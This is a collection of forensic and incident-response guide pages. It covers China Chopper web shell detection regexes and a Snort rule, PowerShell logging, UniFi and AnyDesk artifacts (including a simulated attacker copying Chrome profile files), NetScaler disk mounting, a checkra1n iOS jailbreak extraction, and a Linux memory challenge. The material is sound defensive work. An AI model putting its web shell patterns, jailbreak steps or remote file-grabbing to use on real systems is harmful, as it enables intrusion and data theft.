The quickest and easiest method is using regular expressions.\
&#x20;On a linux machine, an egrep across your Web directory can help identify infected files (for **.PHP** version):

```
egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php
```

On a Windows machine, you can search files using regular expressions by using the native findstr command:

```
findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php
```

and for **.aspx** version:

```
findstr /R /S "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx
```

### How detect the malicious network traffic?

You can use a **Snort IDS** signature [published by FireEye](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf):

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 
(msg: "China Chopper with first Command Detected";
flow:to_server,established; content: "FromBase64String";
content: "z1"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000101;)
```

### References

* [http://informationonsecurity.blogspot.it/2012/11/china-chopper-webshell.html](https://informationonsecurity.blogspot.it/2012/11/china-chopper-webshell.html)
* <https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html>
* <https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html>
* <http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html>
* <https://www.hybrid-analysis.com/sample/be24561427d754c0c150272cab5017d5a2da64d41bec74416b8ae363fb07fd77?environmentId=100>


# Logging Powershell activities

**Hunting Fileless Malware & Powershell Activities:**

* **Event ID 4103** – Module logging – Attackers uses several obfuscated commands and calls self-defined variables and system commands. Hunting these EventIDs provide SOC operations to record all the obfuscated commands as pipeline execution details under EventID 4103. It should be enabled to process and get the malicious commands.
* **Event ID 4104** – Powershell Script Block Logging – Captures the entire scripts that are executed by remote machines. For example, obfuscated scripts that are decoded and executed at run time.
* If an event exceeds the maximum event log message size, script block logging will split the logged events into multiple events and suspicious commands can be observed at the logging level of “warning”.

![](/files/M8DTQ7J2Uxv41iDYUSSh)

Above figure shows script block ID is generated for the remote command execution from the computer “MSEDGEWIN10” and the security user ID **S-1-5-21-3461203602-4096304019-2269080069-1000** and commands are fully encoded.

Enabling the Event ID 4104 as an added benefit as run time obfuscated commands will be processed to decode and all decoded scripts will be logged into this event ID 4104.

![](/files/BVGFd8vSPXX8PtDyS0Gw)

Above figure shows encoded commands are decoded at  run time and above malicious code is trying to get the user's network credentials.

**Event ID 4688** – Audit Process Creation with Command Line Process Auditing – Enabling this Event ID provides the source process names which is executing the malicious commands that is processed in audit mode and logged. Command line arguments are commonly leveraged in fileless based attacks.

This provides insights on Parent and child process names which is initiating the Powershell commands or command line arguments.

### **Configuring PowerShell Event ID 4103/4104**:

Group Policy for logging configuration:

1. Computer Configuration > Policies > Administrative Templates > Windows Components > Windows PowerShell.
2. Select: Turn on Module Logging, and Select: Enabled, Select: OK
3. Select: Turn on PowerShell Script Block Logging, and Select: Enabled, Select: Log script block invocation start /stop events:

### **Configuring Event ID 4688**:

Group Policy for logging configuration:

1. Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Configuration > Detailed Tracking
2. Select: Audit Process Creation, Select: Success + Failure, Select: OK
3. Computer Configuration > Policies > Administrative Templates > System > Audit Process Creation
4. Select: Include command line in process creation events, Select: Enabled, Select: OK

Source: <https://www.socinvestigation.com/threat-hunting-using-powershell-and-fileless-malware-attacks/>


# Compromised UniFi Controller

General pointers on where to look for configuration files and/or logs when investigating a compromised UniFi controller.

For tips on acquiring a full disk image via SSH, please see [Acquiring Linux VPS via SSH](/incident-response-1/acquiring-linux-vps-via-ssh)

This page only provides a summary of files of interest, and where you may look for specific information. It doesn't include any information on how to investigate the initial compromise itself (ie username/password bruteforcing over SS

## Files of interest

&#x20;:arrow\_right: UniFi controller log **/var/log/unifi/server.log** (and server.log.\* for archived/pruned logs)

This contains the following;

1. Failed and successful authentication attempts (with reason, for example 'Invalid Credential', 'Invalid Username'
2. Username associated with those attempts
3. IP address of remote host attempting to authenticate
4. MAC address of device syncing with controller
5. WAN & local IP address of devices synced with controller
6. Logs for system upgrades
7. INFO/WARN level for API and DEV (device) associations
8. Controller site identifier (appears to be 8 alpha-numeric character string)

&#x20;:arrow\_right: **/var/lib/unifi/db/collection-\*-\*.wt**

Appears to be WiredTiger log files before they're committed to the core server logs

(.wt is the file extension associated with the files, WiredTiger appears to be the engine contained within mongoDB)

&#x20;:arrow\_right: **/var/lib/unifi/**

1. **/backup;**  meta.json file for time/date when backup was created, 5.x.x.unf for backup itself
2. **/backup/autobackup;** autobackup\_meta.json for time/date when autobackup was created, and a series of .unf auto backups.
3. **/db;** series of WiredTiger collection logs, index logs, version control logs, etc.
4. **/db/diagnostic.data & /db/journal**; self-explanatory - journal and diagnostic information.
5. **/sites/\*;** folder for each site configured on the controller (8 alpha-numeric character identifer, plus a folder for the default site)
6. **/sites/abcd1234/maps;** map photograph/layout associated with the site ID

&#x20;:arrow\_right: **/tmp/hsperfdata\_root/control/0**

Not strictly a UniFi controller related file as such, but it's part of the Java performance counter which still includes sensitive information (usernames, email addresses, password hash, local performance statistics)

&#x20;:arrow\_right: **/tmp/.unifi-\*\*\*\*\*\*\*\*/db.gz/db**

I'm not too sure why this file & hidden directory (.unifi-\*\*\*) is generated, but nevertheless it still contains sensitive information & database contents relative to an investigation (usernames, emails, IP addresses, etc). It's the contents of the mongoDB (**ace**) associated with the UniFi controller.

:arrow\_right: **/usr/lib/unifi**

1. /usr/lib/unifi/logs (symlink to /var/log/unifi)
2. /usr/lib/unifi/run (symlink to /var/run/unifi)
3. /usr/lib/unifi/data (symlink to /var/lib/unifi)
4. /usr/lib/unifi/bin (binaries for ubnt-apttool and unifi.init, including a symlink to /usr/bin/mongod)
5. /usr/lib/unifi/dl/firmware (bundles.json for different firmware revisions for specific models)
6. /usr/lib/unifi/lib/\* - jar files for specific java archives)
7. &#x20;/usr/lib/unifi/webapps/ROOT (root for web interface, including angular & react files)

To list accounts associated with the UniFi controller database (if you suspect a backdoor administrator account has been added), either check through the controller interface itself, or SSH into the host and execute the following command. This will list each account, password hash, epoch time created, email address, name, etc)

```
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
```

mongoDB only listens on the localhost for connections (which is great, it's not exposed to the greater internet like most other mongoDB instances), so if you want to acquire a copy of the database and interrogate it locally, you'll need to export/dump the database first.


# AnyDesk Remote Access

AnyDesk is a popular remote access program which is often used by threat actors (and scammers) as either an entry point into an environment or to transfer tools between environments

AnyDesk was downloaded and executed, without installation on a Windows 10 instance as well as an Ubuntu 20.04 instance. A number of files were transferred from one party to another.

**Windows File/Log Locations**

:arrow\_right: C:\Users\\*username*\AppData\Roaming\AnyDesk\ad.trace

This is where most of the information is kept. This is a verbose application runtime/connectivity log. From the short test conducted, I was able to identify the following snippets;

````
   info 2022-03-18 01:56:24.672      front   2428   7036 main - Process started at 2022-03-18. PID 2428. OS is Windows 10 (64 bit)```
````

:red\_circle: Start time for the process (with corresponding PID). The time listed **18th March 2022** **01:56:24.672** is in UTC, *not* the time of the local system.

```
  error 2022-03-18 01:56:28.622      front   2428   5044                    os_win.fs_sentinel - Failed to monitor 'C:\Users\Public\AccountPictures\S-1-5-21-4283608420-3620247853-3965221735-1001' (2).
```

I'm not sure why AnyDesk is querying this particular folder in the Public folder..&#x20;

```
   info 2022-03-18 01:56:28.915       lsvc   6956   5212   12                base.proxy_finder - Skipping search. Next search in 59406 ms.
   info 2022-03-18 01:56:28.915       lsvc   6956   5212   12           anynet.relay_connector - Connecting to relay boot.net.anydesk.com (1/1)
   info 2022-03-18 01:56:28.915       lsvc   6956   5212   12           anynet.relay_connector - Skipping connect method connect_proxy_443 (1/6) (no proxy found)
   info 2022-03-18 01:56:28.915       lsvc   6956   5212   12           anynet.relay_connector - Skipping connect method connect_proxy_80 (2/6) (no proxy found)
   info 2022-03-18 01:56:28.915       lsvc   6956   5212   12           anynet.relay_connector - Skipping connect method socks_proxy_443 (3/6) (no proxy found)
   info 2022-03-18 01:56:28.915       lsvc   6956   5212   12           anynet.relay_connector - Using IPv4: 213.239.219.11
```

Connectivity to an AnyDesk relay (that external IP is not the IP of the instance)

```
   info 2022-03-18 02:00:19.971       lsvc   6180   4204    8           anynet.relay_connector - Connecting to relay relay-f292f5b5.net.anydesk.com (1/4)
   info 2022-03-18 02:00:19.971       lsvc   6180   4204    8           anynet.relay_connector - Skipping connect method connect_proxy_443 (1/6) (no proxy found)
   info 2022-03-18 02:00:19.971       lsvc   6180   4204    8           anynet.relay_connector - Skipping connect method connect_proxy_80 (2/6) (no proxy found)
   info 2022-03-18 02:00:19.971       lsvc   6180   4204    8           anynet.relay_connector - Skipping connect method socks_proxy_443 (3/6) (no proxy found)
   info 2022-03-18 02:00:20.036       lsvc   6180   4204    8           anynet.relay_connector - Using IPv4: 143.244.62.119
```

Connectivity to a relay\
(anynet.relayconnector relay-f292f5b5 matches the value for ad.anynet.networkrelay in system.conf)

Again, IPv4 value is for that of the relay, not my instance.

```
   info 2022-03-18 02:00:20.560       lsvc   6180   4204    3           anynet.main_relay_conn - Network ID: main
   info 2022-03-18 02:00:20.560       lsvc   6180   4204    3                anynet.relay_conn - External address: your-public-ipv4:51361.
   info 2022-03-18 02:00:20.560       lsvc   6180   4204    3           anynet.main_relay_conn - Main relay ID: f292f5b5
   info 2022-03-18 02:00:20.560       lsvc   6180   4204    2            anynet.connection_mgr - Main relay connection established.
   info 2022-03-18 02:00:20.560       lsvc   6180   4204    2            anynet.connection_mgr - New user data. Client-ID: 668843853.
   info 2022-03-18 02:00:21.218       lsvc   6180   4204    9                            gcpsa - Downloading gcapi.dll.
   info 2022-03-18 02:00:21.249       lsvc   6180   4204    9               app.fib_downloader - Canceled download of 'gcapi.dll'. A file with matching hash already exists in C:\Users\username\AppData\Local\Temp.
```

anynet.relay\_conn = external address (is your public IPv4 address)\
anynet.main\_relayconn = part of connected relay hostname (see above)\
anynet.connection\_mgr = contains Client ID (this is the value presented to the user through the application interface and also required by those connecting remotely)

The following is generated in **ad.trace** after a successful connection & file transfer (The public IP has been replaced with remote.malicious.ip)

```
  info 2022-03-18 02:50:52.146       lsvc   5608   3532   41                anynet.any_socket - Logged in from remote.malicious.ip:1354 on relay b34ce89a.
   info 2022-03-18 02:50:52.146       lsvc   5608   3532   41            anynet.connection_mgr - Re-using connection to client d4b5e4892f1d9cc6dbe9ea336b446c769b8afd26.
   info 2022-03-18 02:50:52.146       lsvc   5608   3532   41                anynet.any_socket - Accepting the connect request.
   info 2022-03-18 02:50:52.153       lsvc   5608   3532   41                anynet.relay_conn - accept_connect: sending login token ()
```

'Logged in from' is the IP address of the remote party.

```
  error 2022-03-18 02:51:25.772      lctrl   5204   3924                           app.readdir - Could not list directory C:\Windows\System32\config\* (5).
  error 2022-03-18 02:51:25.777      lctrl   5204   3924                      app.dir_sentinel - Could not monitor 'C:\Windows\System32\config' (5).
  error 2022-03-18 02:51:25.777      lctrl   5204   3924                           app.readdir - Could not list directory C:\Windows\System32\config\* (5).
warning 2022-03-18 02:51:54.155      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
   info 2022-03-18 02:51:54.156      lctrl   5204   3924                      app.prepare_task - Preparing files in 'C:\Users\username\AppData\Local\Google\Chrome\User Data\Default'.
   info 2022-03-18 02:51:54.156      lctrl   5204   3924               app.local_file_transfer - Preparation of 1 files completed (io_ok).
warning 2022-03-18 02:51:54.161      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
warning 2022-03-18 02:51:54.181      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
warning 2022-03-18 02:51:57.579      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
   info 2022-03-18 02:51:57.586      lctrl   5204   3924                      app.prepare_task - Preparing files in 'C:\Users\username\AppData\Local\Google\Chrome\User Data\Default'.
   info 2022-03-18 02:51:57.590      lctrl   5204   3924               app.local_file_transfer - Preparation of 1 files completed (io_ok).
warning 2022-03-18 02:51:57.597      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
warning 2022-03-18 02:51:57.605      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
warning 2022-03-18 02:52:00.854      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
   info 2022-03-18 02:52:00.854      lctrl   5204   3924                      app.prepare_task - Preparing files in 'C:\Users\username\AppData\Local\Google\Chrome\User Data\Default'.
   info 2022-03-18 02:52:01.030      lctrl   5204   3924               app.local_file_transfer - Preparation of 1 files completed (io_ok).
warning 2022-03-18 02:52:01.038      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
warning 2022-03-18 02:52:01.109      lctrl   5204   6380                 app.tunnel_ft_session - Invalid progress code (0).
  error 2022-03-18 02:52:02.620       lsvc   5608   3532   21         base.prot.packet_factory - Invalid packet received (type=13, 3 bytes).
```

From the remote terminal, I browsed the victim's files (file transfer is enabled by default). I could not access any system directories due to inappropriate permissions, however I was able to download several files the victim's Google Chrome profile directory.

However, I could not find any logs indicating which files were actually transferred (whether successfully or not). There is also no indication as to the file transfer size (which you could use to infer which file/s where transferred).

:arrow\_right: C:\Users\\*username*\AppData\Roaming\AnyDesk\connection\_trace.txt

```
Incoming    2022-03-18, 02:50    User                              732092099    732092099
Incoming    2022-03-18, 02:50    User                              732092099    732092099
```

This file is only generated after a connection is made (either accepted or rejected).

Incoming connection requests. Time is in UTC. Value (732092099) is the ID of the remote connector and the ID of the person who initiated the remote connection.

:arrow\_right: C:\Users\\*username*\AppData\Roaming\AnyDesk\service.conf

Contains cert and private key for encrypted traffic

```
ad.anynet.cert=-----BEGIN CERTIFICATE
ad.anynet.pkey=-----BEGIN PRIVATE KEY
```

:arrow\_right: C:\Users\\*username*\AppData\Roaming\AnyDesk\system.conf

```
ad.ancl.cached_config=AAQAAAABAAAAAAAAAAAAAAAA
ad.anynet.alias=
ad.anynet.client_stats_hash=dcfc53ad9b83500a7c5dcf7429a0568177e2a7c2
ad.anynet.cur_version=30064771078
ad.anynet.fpr=6499e464a4040391b3ff4e122c1461f6b923daca
ad.anynet.id=668843853
ad.anynet.last_relay=relay-f292f5b5.net.anydesk.com:80:443:6568
ad.anynet.network_hash=869d03874a54c384dd345e9636d51a2bbd3a9e63
ad.anynet.network_id=main
ad.anynet.relay.fatal_result=1.0
ad.anynet.relay.state=2
ad.license.name=free-1
ad.security.frontend_clipboard=1
ad.security.frontend_clipboard_files=1
ad.security.frontend_clipboard_version=1
ad.security.permission_profiles._default.permissions.sas=1
ad.security.permission_profiles._unattended_access.permissions.sas=1
ad.security.permission_profiles.version=1
ad.wol.mac_hash=8c87d8d52529ae1ab337b47209a84b535b24655e
```

Of interest here would be the ad.anynet.id value (which is the same as what is displayed in the user interface when it's executed), as well as the anynet.last\_relay value (and ports used).

:arrow\_right: C:\Users\\*username*\AppData\Roaming\AnyDesk\user.conf

```
ad.roster.contacts.view_type=2
ad.roster.discovered.view_type=2
ad.roster.favorites.view_type=2
ad.roster.recent_out.view_type=2
ad.roster.sent_invitation.view_type=2
ad.ui.inst_info_count=1
ad.ui.lang=en
ad.ui.main_win.height=936
ad.ui.main_win.max=false
ad.ui.main_win.width=1768
ad.ui.main_win.x=295
ad.ui.main_win.y=156
invitation.view_typ=2
```

Mostly values set for the user interface itself.

```
ad.security.permission_profiles.address_to_profile=732092099:000000115f70726576696f75735f73657373696f6e000000400100000001000000010000000000000000000000010000000100000001000000010000000000000000000000000000000100000001000000010000000100000000000010000000000000000000000000000000000000004001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000010000000100000001000000010000000000000000
```

This value is set in user.conf after a successful connection. 732092099 is the ID of the remote party.

**Linux File/Log Locations**

TBA

References

<https://support.anydesk.com/knowledge/trace-files>


# Mounting UFS VMDK from NetScaler/Citrix ADC

We'll cover how to mount a VMDK, which contains multiple partitions, originating from a NetScaler VM. This is to support analysis in relation to CVE-2023-3519.

We have our VMDK representing a single disk from a compromised system. In this example, we're just using the VMDK available from the installer archive provided by Citrix. We've setup a test VM using the same VMDK, run through the initial setup (setting IP, netmask, gateway, etc) and the system is operational.

This also assumes you have a single flat VMDK, and not a standalone snapshot. If you have a snapshot, you need to consolidate it first so you can examine the resultant disk.

```
$ file NSVPX-ESX-13.0-90.12_nc_64-disk1.vmdk
NSVPX-ESX-13.0-90.12_nc_64-disk1.vmdk: VMware4 disk image

$ sudo mkdir /mnt/nsvpx
```

Execute guestfish and add (-a) our VMDK.

```
$ guestfish -a NSVPX-ESX-13.0-90.12_nc_64-disk1.vmdk

Welcome to guestfish, the guest filesystem shell for
editing virtual machine filesystems and disk images.

Type: ‘help’ for help on commands
      ‘man’ to read the manual
      ‘quit’ to quit the shell

><fs> run
 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00
><fs>
```

We'll first attempt to list identified filesystems, but given UFS support is sometimes questionable, we're not sure whether it will be identified or not.

```
><fs> list-filesystems
libguestfs: error: list_filesystems: sfdisk exited with status 1: sfdisk: /dev/sda: partition 5: partition table contains only 4 partitions
```

This is what the same VMDK looks like in FTK Imager.

![](/files/LDfzTNjJNMpbBOPwUtw7)

This maps to the following disk size information from the NetScaler console itself

<figure><img src="/files/O4gLL3oHVglcp7VCl8Rq" alt=""><figcaption></figcaption></figure>

Regarding our VMDK, we'll be interested in the following;

* /dev/md0 (the RAM disk/partition)
* /dev/da0s1a
* /dev/da0s1e

Side note: If this was a live system, you could image each using dd and transfer them to another host via SSH, which would make life a lot easier;

```
dd if=/dev/md0 | gzip -1 - | ssh user@remotehost dd of=/path/folder/md0.gz
dd if=/dev/da0s1a | gzip -1 - | ssh user@remotehost dd of=/path/folder/da0s1a.gz
dd if=/dev/da0s1e | gzip -1 - | ssh user@remotehost dd of=/path/folder/da0s1e.gz
```

```
><fs> list-partitions
/dev/sda1
/dev/sda5
/dev/sda6
/dev/sda7
/dev/sda8
```

We're mostly interested in logs, which are stored in /var (/dev/da0s1e)

To identify which partitions relate to which filesystem (listed above), we need to mount them.

```
><fs> mount-vfs ro,ufstype=ufs2 ufs /dev/sda1 /
><fs> df-h
Filesystem      Size  Used Avail Use% Mounted on
/dev/root       4.0G  714M  3.1G  19% /
/dev            600M     0  600M   0% /dev
shmfs           606M     0  606M   0% /dev/shm
tmpfs           243M   72K  243M   1% /run
/dev/sda1       1.6G  156M  1.3G  11% /sysroot
```

```
><fs> mount-vfs ro,ufstype=ufs2 ufs /dev/sda8 /
><fs> df-h
Filesystem      Size  Used Avail Use% Mounted on
/dev/root       4.0G  714M  3.1G  19% /
/dev            600M     0  600M   0% /dev
shmfs           606M     0  606M   0% /dev/shm
tmpfs           243M   72K  243M   1% /run
/dev/sda8        14G  1.3G   12G  10% /sysroot
```

Ok, so to recap;

* We've mounted our VMDK in guestfish
* We've mounted each partition as identified they contain relevant data

We can mount the partition (identified through guestfish) on the host machine

```
><fs> mount-local /mnt/nsvpx
><fs> mount-local-run
```

Open another console on your host machine, and navigate to /mnt/nsvpx

```
$ cd /mnt/nsvpx
$ ls /mnt/nsvpx
AAA          clusterd  core   cron  download  gui      krb          log       netscaler  nsinstall  nsproflog  ns_sys_backup  nstmp    opt             pubkey  run      tmp      vpn
app_catalog  configdb  crash  dev   gcf1      install  learnt_data  mastools  ns_gui     nslog      nssynclog  nstemplates    nstrace  osr_compliance  python  safenet  vmtools  vpns

[/mnt/nsvpx/log]
$ cat httpaccess.log| head
127.0.0.1 - - [23/Aug/2023:08:30:00 +0000] [1048] "GET / HTTP/1.1" 200 18705 "-" "curl/7.85.0" "Time: 102541 microsecs"
192.168.1.10 -> 192.168.1.222 - - [23/Aug/2023:08:31:27 +0000] [1046] "GET / HTTP/1.1" 200 18705 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0" "Time: 46242 microsecs"
192.168.1.10 -> 192.168.1.222 - - [23/Aug/2023:08:31:27 +0000] [1049] "GET /admin_ui/common/js/jquery/jquery.keyfilter.min.js HTTP/1.1" 200 756 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0" "Time: 2792 microsecs"
192.168.1.10 -> 192.168.1.222 - - [23/Aug/2023:08:31:27 +0000] [1046] "GET /admin_ui/common/css/ns/ui.css HTTP/1.1" 200 8642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0" "Time: 8205 microsecs"
```

You can now use your mount point (/mnt/nsvpx) as the root directory/base to search for IOCs.

ShadowServer have released a series of indicators here;\
[Technical Summary of Observed Citrix CVE-2023-3519 Incidents](https://www.shadowserver.org/news/technical-summary-of-observed-citrix-cve-2023-3519-incidents/)

Mandiant have released [their analysis](https://www.mandiant.com/resources/blog/citrix-adc-vulnerability-ioc-scanner), as well as a bash script to search for IOCs. <https://github.com/mandiant/citrix-ioc-scanner-cve-2023-3519>

You can use Mandiant's IOC scanner on a mounted image, like s

```
$ wget https://github.com/mandiant/citrix-ioc-scanner-cve-2023-3519/releases/download/v1.2/scanner-cve-2023-3519-v1.2.sh
$ chmod +x scanner-cve-2023-3519-v1.2.sh

Example:
$ bash ./scanner-CVE-2023-3519-v1.1.sh /mnt/path/to/evidence/root/

$ ./scanner-cve-2023-3519-v1.2.sh /mnt/nsvpx
```


# Checkm8 / checkra1n acquisitions/extractions

Get up and running quickly with a platform to perform checkm8 based iOS extractions

![](/files/-MMiyqGB4hD99gtJvMsT)

Checkm8 is a bootROM based vulnerability/exploit. Checkra1n is the tool to conduct a tethered jailbreak.

First, some light reading: <https://checkra.in/> & [more info here](https://checkm8.info/blog/checkra1n-jailbreak-exploit)

This guide does not focus on the specific vulnerability being exploited, it provides a guide on how to perform a filesystem acquisition using checkra1n within a Linux environment. **This article does not provide any guidance or insight into bypassing any security restrictions involving biometrics or personal credentials.**

My working environment is typically a Windows environment with specific tasks performed inside a Linux VM or VPS, or within [WSL](https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux)). Although [WSL ](https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux)is great, it does not currently support USB devices, and as such, will not work with iproxy/libusbmuxd/checkra1n.

There are a few methods to get up and running quickly.

1\) Download Kali, image to a boot USB, boot, add checkra1n repo, install checkra1n, run checkra1n\
2\) Download other Debian-based OS, add checkra1n repo, install checkra1n, run checkra1n\
3\) Download [bootra1n](https://github.com/foxlet/bootra1n), image to USB, boot, run checkra1n

I personally prefer option 1. Most of us have a Kali ISO sitting around somewhere. One primary consideration needs to be the size of the data being acquired from the iOS device. You need to have a boot device which is large enough to acquire that data, or your host machine needs to accommodate another device. For me, I boot Kali off a standard USB and acquire data to an external SSD/HDD.

Using bootra1n or other pre-compiled tool sets does not give you the flexibility you require. I prefer to build an environment based on tools that I'm familiar with, and then roll that back into a live image to deploy on removable media.

You can try using a virtual machine to perform this, but mucking around with USB pass through is going to cause issues when entering/exiting DFU mode, exploiting the device, and may cause unexpected results and/or damage.&#x20;

Create a bootable USB using your preferred tool. Rufus, balenaEtcher, Win32 Disk Imager are all good options. Here we'll use Win32 Disk Imager.

<div align="left"><img src="/files/-MMifDyH_UHmaIVKnSjq" alt=""></div>

Write. Boot. Test it's working. You can run through the steps to enable encrypted persistence, however that's outside the scope of this article.

Now we have to add Checkra1n's repo to our sources.list so we can install the appropriate packages

```
echo "deb https://assets.checkra.in/debian /" | sudo tee -a /etc/apt/sources.list
sudo apt-key adv --fetch-keys https://assets.checkra.in/debian/archive.key
sudo apt update
sudo apt-get install checkra1n
```

<div align="left"><img src="/files/-MMih6GY3W-fatwo0k0P" alt=""></div>

<div align="left"><img src="/files/-MMihNmFDFu_Y-O-kd4h" alt=""></div>

Now is also a good time to install iproxy. iProxy is contained within libusbmuxd-tools

```
$ sudo checkra1n
```

The above command is for the following GUI. You can also run the following command for the CLI version

```
$ sudo checkra1n -c
```

<div align="left"><img src="/files/-MMiiDWLgfQ29M9hMpuH" alt=""></div>

Connect your iOS device to your host machine. "Trust" the computer, enter your PIN.

![](/files/-MMiw-67NI_816_7JgGl)

Select \[Start] and follow the prompts to place the device into DFU mode.

<div align="left"><img src="/files/-MMijVKNoZ25JfmOlZWj" alt=""></div>

Select \[Next] and your iOS device will restart into restore mode.

<div align="left"><img src="/files/-MMijkReUBOplKQFgu_H" alt=""></div>

![](/files/-MMikEjtR17yj0Sl0WqR)

<div align="left"><img src="/files/-MMikAGM-aGbpj-_iVD2" alt=""></div>

Wait until this process completes. Once the device has booted (and checkra1n says it has completed), then proceed.

```
$ iproxy 4242 22
```

Run iproxy for libusbmuxd communication. This will allow you to SSH into your iOS device via USB.

Disable auto screen locking. When the screen locks, it will kill any SSH sessions.\
(iOS 14.2; Settings -> Display & Brightness -> Auto-Lock; set to Never)

Now we SSH into our device. Root password is **alpine**.

```
$ ssh root@127.0.0.1 -p 4242
```

<div align="left"><img src="/files/-MMiuOyfZ7oFCBNq_hUz" alt=""></div>

If all you're seeking is user data, that is stored in /private/var and can be logically acquired using the following command (from your host machine, not within the bash prompt on your device)

```
$ ssh root@127.0.0.1 -p 4242 'tar -cf - /private/var/' > private-var.tar
```

From here, you can parse the tarball in your forensic tool of choice; MSAB XRY, Cellebrite UFED, Magnet AXIOM or even Autopsy.

For more information, please see these articles;

\[1] <https://www.cellebrite.com/en/blog/a-practical-guide-to-checkm8/>\
\[2] <https://blog.oxygen-forensic.com/everything-you-ever-wanted-to-ask-about-checkm8-and-checkra1n/>\
\[3] <https://www.magnetforensics.com/blog/using-the-checkra1n-jailbreak/>\ <br>


# 13Cubed Linux memory forensics

13Cubed have provided a memory sample from an Ubuntu host for participants to practice their Linux memory analysis skills.

Richard at [13Cubed ](https://training.13cubed.com/)recently released a special Linux memory forensics challenge on [YouTube](https://www.youtube.com/watch?v=IHd85h6T57E) where entrants could compete to win a coveted challenge coin. It was suggested that those who participate provide a blog-based walk through of the analysis, so here's my contribution.&#x20;

**Scenario**: Walter O'Reilley was hired by a company called 12 Square Industries and his job was to develop a new website. On his first day, he was assigned an Ubuntu 22.04 developers workstation. After completing the new employee orientation, he started work around 1920hrs (UTC).

Walter began searching for articles on how to develop a website using AI. During his research, he decided to download some YouTube videos locally to his system. Through a combination of malicious ads and social engineering, he was tricked into downloading a binary and running it with super user privileges.&#x20;

We need to determine what happened on this computer system. Richard has also provided the following hints;

**HINT 1**: To get started, run the Volatility 3 banners plugin to determine the correct kernel version, and subsequently install the correct symbols and create the ISF.\
\
**HINT 2**: The kernel version in use on this Ubuntu 22.04 machine was 6.5.0-41. It is recommended that Ubuntu 22.04 be used for the analysis.

Download memory sample: <https://cdn.13cubed.com/downloads/linux_challenge.zip>

If you're stuck (or you don't want to generate the profile yourself, I've [provided it here](https://files.iblue.team/279b6e00-851e/Ubuntu22.04.6.5.0-41-generic.json.zip))

## Files

We're provided with the following files;

<table><thead><tr><th width="176">File name</th><th>Description</th></tr></thead><tbody><tr><td>memory.vmem</td><td>Memory snapshot of the running virtual machine</td></tr><tr><td>memory.vmsn</td><td>Metadata related to the running state of the virtual machine</td></tr></tbody></table>

The most important thing to identify at this stage is that as we're dealing with a Linux host, the symbol tables aren't easily accessible like Windows kernel profiles are. We can't just run Volatility against it and pull the kernel profile, we'll have to build it.

I've previously written a [guide ](/memory-forensics-1/volatility-plugins/build-custom-linux-profile-for-volatility)on how to build a custom profile for a Linux host. To summarise;

1. Download Ubuntu 22.04 ISO, install it, and boot.
2. Configure additional repository for debug symbols.
3. Identify the required kernel profile (Richard mentions 6.5.0-41 in the video, but we'll verify that)
4. Install debug symbols
5. Boot virtual machine with new kernel
6. Run dwarf2json and build kernel symbol table
7. Transfer symbol table to analysis machine and run Volatility3

This is how you identify possible kernels (and to validate Richard's comments above regarding version)

```
$ vol.py -f /mnt/d/13cubed/memory/memory.vmem isfinfo
Volatility 3 Framework 2.10.0
Progress:  100.00               PDB scanning finished
URI     Valid   Number of base_types    Number of types Number of symbols       Number of enums Identifying information

[snip]    b'Linux version 6.5.0-41-generic (buildd@lcy02-amd64-120) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #41~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Mon Jun  3 11:32:55 UTC 2 (Ubuntu 6.5.0-41.41~22.04.2-generic 6.5.13)\n\x00'
```

After we've built the kernel profile (using the guide and steps above), move the resultant .json file to your volatility3 folder; /path/to/volatility3/volatility3/symbols/

You can execute a few linux plugins to identify whether the profile is functioning correctly.

<table><thead><tr><th width="163">Plugin</th><th>Output</th></tr></thead><tbody><tr><td>linux.bash</td><td>Bash/console history</td></tr><tr><td>linux.envars</td><td>Environment variables used by a shell or its child processes</td></tr></tbody></table>

```
$ vol.py -f /mnt/d/13cubed/memory/memory.vmem linux.bash

Volatility 3 Framework 2.10.0
Progress:  100.00               Stacking attempts finished
PID     Process CommandTime     Command

4453    bash    2024-07-03 19:40:49.000000 UTC  sudo apt dist-upgrade
4453    bash    2024-07-03 19:40:49.000000 UTC  sudo apt upgrade
4453    bash    2024-07-03 19:40:49.000000 UTC  sudo apt update
4453    bash    2024-07-03 19:40:49.000000 UTC  sudo apt install open-vm-tools-desktop
4453    bash    2024-07-03 19:40:49.000000 UTC  sudo apt upgrade
4453    bash    2024-07-03 19:40:49.000000 UTC  exit
4453    bash    2024-07-03 19:40:49.000000 UTC  sudo apt update
